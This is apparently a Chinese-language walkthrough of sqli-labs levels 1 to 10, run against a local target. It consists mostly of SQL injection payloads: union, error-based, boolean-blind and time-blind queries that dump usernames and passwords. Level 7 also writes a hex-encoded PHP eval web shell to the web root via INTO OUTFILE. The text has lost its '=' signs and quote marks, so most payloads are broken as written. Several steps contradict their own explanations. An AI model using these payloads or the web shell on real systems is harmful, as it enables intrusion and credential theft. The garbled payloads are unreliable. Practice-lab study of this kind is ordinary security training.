
Less-1单引号型完整注入流程打开靶场第一关你会看到如下图所示界面由为方便后续靶场的payload输入查看我这里了将直接利用hackbar进行sql注入测试。第1步确认闭合方式payloadhttp://127.0.0.1:8080/Less-1/?id1分析报错信息里有1→ 说明是单引号闭合你输入的1变成了1多出一个单引号导致语法错误。第2步注释掉后面代码payload:http://127.0.0.1:8080/Less-1/?id1--页面结果正常显示和?id1一样显示Your Login name:Dumb--后面全是注释实际执行的是SELECT * FROM users WHERE id1所以正常显示。第3步确定字段数order byPayloadhttp://127.0.0.1:8080/Less-1/?id1 order by 3-- - http://127.0.0.1:8080/Less-1/?id1 order by 4-- -结果正常显示 → 至少有3个字段结果,Unknown column 4 in order clause结论字段数 3原理order by N 按第N个字段排序如果SELECT只选了3个字段你写 order by 4 就会报错。第4步确定回显位Payloadhttp://127.0.0.1:8080/Less-1/?id-1 union select 1,2,3-- -分析为什么用-1让前面SELECT * FROM users WHERE id-1查不到数据这样页面就只显示union select后面的结果。页面显示了2和3→ 说明第2位和第3位是回显位可以在这里放你想查的数据。第1位不显示所以放1占位就行。第5步爆数据库名Payloadhttp://127.0.0.1:8080/Less-1/?id-1 union select 1,database(),3-- -分析database() 返回当前数据库名放在第2位回显位页面直接显示当前数据库叫 security第6步爆表名Payloadhttp://127.0.0.1:8080/Less-1/?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- -分析information_schema.tables 是MySQL的元数据表存了所有数据库的所有表名table_schemadatabase() 限定只查当前数据库group_concat() 把多行结果合并成一行用逗号分隔目标表是 users第7步爆字段名Payloadhttp://127.0.0.1:8080/Less-1/?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers-- -分析information_schema.columns 存了所有表的字段信息table_nameusers 限定查users表的字段得到字段id, username, password第8步爆数据最终目标Payloadhttp://127.0.0.1:8080/Less-1/?id-1 union select 1,2,group_concat(username,password) from users --分析group_concat(username,0x3a,password) 把用户名和密码拼在一起from users 直接查目标表的数据拿到所有账号密码总结完整payload速查-- 1. 测闭合 ?id1 -- 2. 注释 ?id1-- - -- 3. 查字段数 ?id1 order by 3-- - ?id1 order by 4-- - -- 4. 找回显位 ?id-1 union select 1,2,3-- - -- 5. 爆库名 ?id-1 union select 1,database(),3-- - -- 6. 爆表名 ?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- - -- 7. 爆字段 ?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers-- - -- 8. 爆数据 ?id-1 union select 1,group_concat(username,0x3a,password),3 from users-- -Less-2数字型第1步确认注入点不用单引号Payloadhttp://127.0.0.1:8080/Less-2/?id1 and 11 http://127.0.0.1:8080/Less-2/?id1 and 12分析and 11 为真正常查询and 12 为假查不到数据两次返回不同 → 存在数字型注入为什么不用单引号测因为 ?id1 会被当成字符串 1 处理MySQL自动类型转换不会报错测不出来。整数型要用 and 11 / and 12 测。第2步确定字段数order byhttp://127.0.0.1:8080/Less-2/?id1 order by 3 http://127.0.0.1:8080/Less-2/?id1 order by 4结果报错 Unknown column 4 in order clause结论字段数 3注意整数型不需要注释符直接 order by 3 就行后面没有引号要注释。第3步确定回显位Payloadhttp://127.0.0.1:8080/Less-2/?id-1 union select 1,2,3分析id-1 让前面查不到union select 1,2,3 直接拼在后面没有单引号没有注释符回显位还是 2 和 3第4步爆数据库名Payloadhttp://127.0.0.1:8080/Less-2/?id-1 union select 1,database(),3第6步爆字段名Payloadhttp://127.0.0.1:8080/Less-2/?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers第7步爆数据Payloadhttp://127.0.0.1:8080/Less-2/?id-1 union select 1,group_concat(username,0x3a,password),3 from users总结完整Payload速查-- 1. 测注入整数型不用单引号 ?id1 and 11 ?id1 and 12 -- 2. 查字段数不需要注释符 ?id1 order by 3 ?id1 order by 4 -- 3. 找回显位没有单引号没有注释 ?id-1 union select 1,2,3 -- 4. 爆库名 ?id-1 union select 1,database(),3 -- 5. 爆表名 ?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase() -- 6. 爆字段 ?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers -- 7. 爆数据 ?id-1 union select 1,group_concat(username,0x3a,password),3 from usersLess-3单引号括号型完整注入流程7步第1步确认闭合方式http://127.0.0.1:8080/Less-3/?id1 http://127.0.0.1:8080/Less-3/?id1)-- -分析报错信息里有1)→ 说明是)闭合。你输入的1被包在括号里变成了(1)多了一个单引号但括号还在。结果正常显示Your Login name:Dumb分析)同时闭合了单引号和圆括号后面的-- -把) LIMIT 0,1全注释掉。SQL变成实际执行WHERE id(1)正常。第2步确定字段数order byhttp://127.0.0.1:8080/Less-3/?id1) order by 3-- - http://127.0.0.1:8080/Less-3/?id1) order by 4-- -结果报错Unknown column 4 in order clause结论字段数 3注意闭合方式是)所以order by前面要加)后面加-- -注释。第3步确定回显位http://127.0.0.1:8080/Less-3/?id-1) union select 1,2,3-- -分析id-1) 闭合前面的 ( 并让前面查不到union select 1,2,3 拼接在后面-- - 注释掉后面的 ) LIMIT 0,1回显位还是 2 和 3第4步爆数据库名http://127.0.0.1:8080/Less-3/?id-1) union select 1,database(),3-- -第5步爆表名http://127.0.0.1:8080/Less-3/?id-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- -第6步爆字段名http://127.0.0.1:8080/Less-3/?id-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers-- -第7步爆数据http://127.0.0.1:8080/Less-3/?id-1) union select 1,group_concat(username,0x3a,password),3 from users-- -Less-4双引号括号型第1步确认闭合方式http://127.0.0.1:8080/Less-4/?id1 http://127.0.0.1:8080/Less-4/?id1)-- -分析报错信息里有1)→ 说明是)闭合。你输入的1被包在(和)里变成了(1)多了一个双引号导致语法错误。第2步确定字段数order byhttp://127.0.0.1:8080/Less-4/?id1) order by 3-- - http://127.0.0.1:8080/Less-4/?id1) order by 4-- -结果报错Unknown column 4 in order clause结论字段数 3第3步确定回显位http://127.0.0.1:8080/Less-4/?id-1) union select 1,2,3-- -分析id-1) 闭合前面的 ( 并让前面查不到union select 1,2,3 拼接在后面-- - 注释掉后面的 ) LIMIT 0,1回显位还是 2 和 3第4步爆数据库名http://127.0.0.1:8080/Less-4/?id-1) union select 1,database(),3-- -第5步爆表名http://127.0.0.1:8080/Less-4/?id-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()-- -第6步爆字段名http://127.0.0.1:8080/Less-4/?id-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers-- -第7步爆数据http://127.0.0.1:8080/Less-4/?id-1) union select 1,group_concat(username,0x3a,password),3 from users-- -Less-5单引号报错型第1步确认闭合方式http://127.0.0.1:8080/Less-5/?id1 http://127.0.0.1:8080/Less-5/?id1-- -结果正常显示You are in...分析闭合方式是注释后面代码正常执行。第2步报数据库名http://127.0.0.1:8080/Less-5/?id1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1)-- -分析select database() 查出 securityconcat(0x7e,security,0x7e) ~security~传入updatexml第二个参数 → 不是合法XPATH → 报错 → 报错里带出 ~security~第3步爆表名http://127.0.0.1:8080/Less-5/?id1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1)-- -第4步爆字段名http://127.0.0.1:8080/Less-5/?id1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nameusers),0x7e),1)-- -第5步爆数据第6步floor(rand()) 双查询注入Less-5经典解法、select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x第7步extractvalue 报错注入替代方案http://127.0.0.1:8080/Less-5/?id1 and extractvalue(1,concat(0x7e,(select database()),0x7e))-- -Less-6双引号报错型第1步确认闭合方式http://127.0.0.1:8080/Less-6/?id1 http://127.0.0.1:8080/Less-6/?id1-- -第2步爆数据库名http://127.0.0.1:8080/Less-6/?id1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- -第3步爆表名http://127.0.0.1:8080/Less-6/?id1%22%20and%20updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1)-- -第4步爆字段名http://127.0.0.1:8080/Less-6/?id1%22%20and%20updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name users ),0x7e),1)-- -第5步爆数据http://127.0.0.1:8080/Less-6/?id1%22%20and%20updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)-- -Less-7文件写入靶场信息闭合方式id(($id))单引号 双括号注入类型布尔盲注、报错注入、文件读写注入本题核心考点页面提示Use outfile出题人直接告诉你用文件写入前置条件secure_file_priv 必须为空允许任意路径写入第1步判断闭合类型http://127.0.0.1:8080/Less-7/?id1)) http://127.0.0.1:8080/Less-7/?id1))--第2步判断字段数http://127.0.0.1:8080/Less-7/?id1)) order by 3-- http://127.0.0.1:8080/Less-7/?id1)) order by 4--结论字段数为3第3步确认注入点与回显位ess-7 没有回显位不显示查询内容只有You are in...........或报错两种状态所以是盲注环境。但题目考点是outfile文件写入直接用写入功能。第4步检查secure_file_priv配置进入 MySQL 命令行或前面关卡Less-2 等有回显的执行?id-1 union select 1,secure_file_priv,3--三种结果NULL → 禁止导入导出无法写 shell/tmp/ → 只能写到 /tmp/ 目录空字符串 → 不限制路径可以任意位置写如果显示 NULL 或固定路径修改 my.ini# 在 my.ini [mysqld] 段添加 secure_file_priv保存后重启 MySQL 服务phpstudy 里重启或systemctl restart mysql第5步获取网站绝对路径写文件必须知道绝对路径的几种写入方法# 方法1前面有回显的关卡查路径 ?id-1 union select 1,basedir,datadir-- # basedir MySQL安装路径 # datadir 数据文件路径通常也在网站目录附近 # 方法2报错泄露路径如果开启显示错误 ?id1 随便乱输 # 方法3扫目录找 phpinfo.php、.git 等泄露路径 # 用 dirsearchpython3 dirsearch.py -u http://127.0.0.1/sqli-labs/ # 方法4Linux 默认路径推测 # /var/www/html/sqli-labs/Less-7/ # /var/www/html/Less-7/第6步写入一句话木马?id-1)) union select 1,0x3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e,3 into outfile /var/www/html/Less-7/shell.php--Less-8布尔盲注第1步判断注入点?id1 and 11-- # 回显You are in........... ?id1 and 12-- # 回显无 / 空白页面结论单引号闭合布尔盲注。第2步判断字段数?id1 order by 3-- # 正常 ?id1 order by 4-- # 异常空白结论字段数为 3。第3步判断数据库名长度?id1 and length(database())1-- # 空白 ?id1 and length(database())8-- # You are in...........第4步逐字符猜解数据库名http://127.0.0.1:8080/Less-8/?id1 and substr(database(),1,1)s--这里只演示一下手动注入的原理思路接下来的爆表名字段名以及数据库内容都同上所示但在实战中通常利用脚本或者sqlmap进行工具爆破。Less-9时间盲注第1步确认时间盲注?id1 and sleep(5)-- # 页面延迟 5 秒才返回 → 注入点存在 ?id1 and sleep(5)-- # 无延迟 → 不是双引号闭合 ?id1 and sleep(5)-- # 无延迟 → 不是数字型结论单引号闭合时间盲注。第2步判断字段数用时间延迟?id1 and if((select count(*) from information_schema.tables where table_schemadatabase())0,sleep(3),1)-- # 延迟 3 秒 → 数据库存在表 ?id1 order by 3 and sleep(1)-- # 或用 union 配合 sleep 判断 ?id1 union select 1,2,3 and sleep(5)--第3步判断数据库名长度?id1 and if(length(database())8,sleep(3),1)-- # 延迟 3 秒 → 长度为 8 ?id1 and if(length(database())7,sleep(3),1)-- # 无延迟 → 不是 7第4步逐字符猜解数据库名# 第一个字符 ?id1 and if(ascii(substr(database(),1,1))115,sleep(3),1)-- # 115s延迟 3 秒 ?id1 and if(ascii(substr(database(),1,1))116,sleep(3),1)-- # 116t无延迟 # 第二个字符 ?id1 and if(ascii(substr(database(),2,1))101,sleep(3),1)-- # 101e延迟 3 秒 # 以此类推... # 最终得到security第5步猜解表名# 第一个表名第一个字符 ?id1 and if(ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))101,sleep(3),1)-- # 101eemails 表 # users 表 ?id1 and if(ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 3,1),1,1))117,sleep(3),1)-- # 117u第6步猜解字段名?id1 and if(ascii(substr((select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 1,1),1,1))117,sleep(3),1)-- # 117uusername ?id1 and if(ascii(substr((select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 2,1),1,1))112,sleep(3),1)-- # 112ppassword第7步猜解数据?id1 and if(ascii(substr((select concat(username,~,password) from users limit 0,1),1,1))68,sleep(3),1)-- # 68DDumb~Dumb时间盲注与布尔盲注原理payload都有相似的地方可以放到一起进行对比记忆同样本章讲解的只是原理在真实环境碰到这种情况直接使用SQLmap工具爆破。less-10第十关参考第九关步骤与payload同样的整两关的差别只在于闭合第九关使用单引号而第十关使用双引号其余步骤相同同样是时间盲注可以自己手动注入理解原理也可以使用sqlmap直接进行爆破。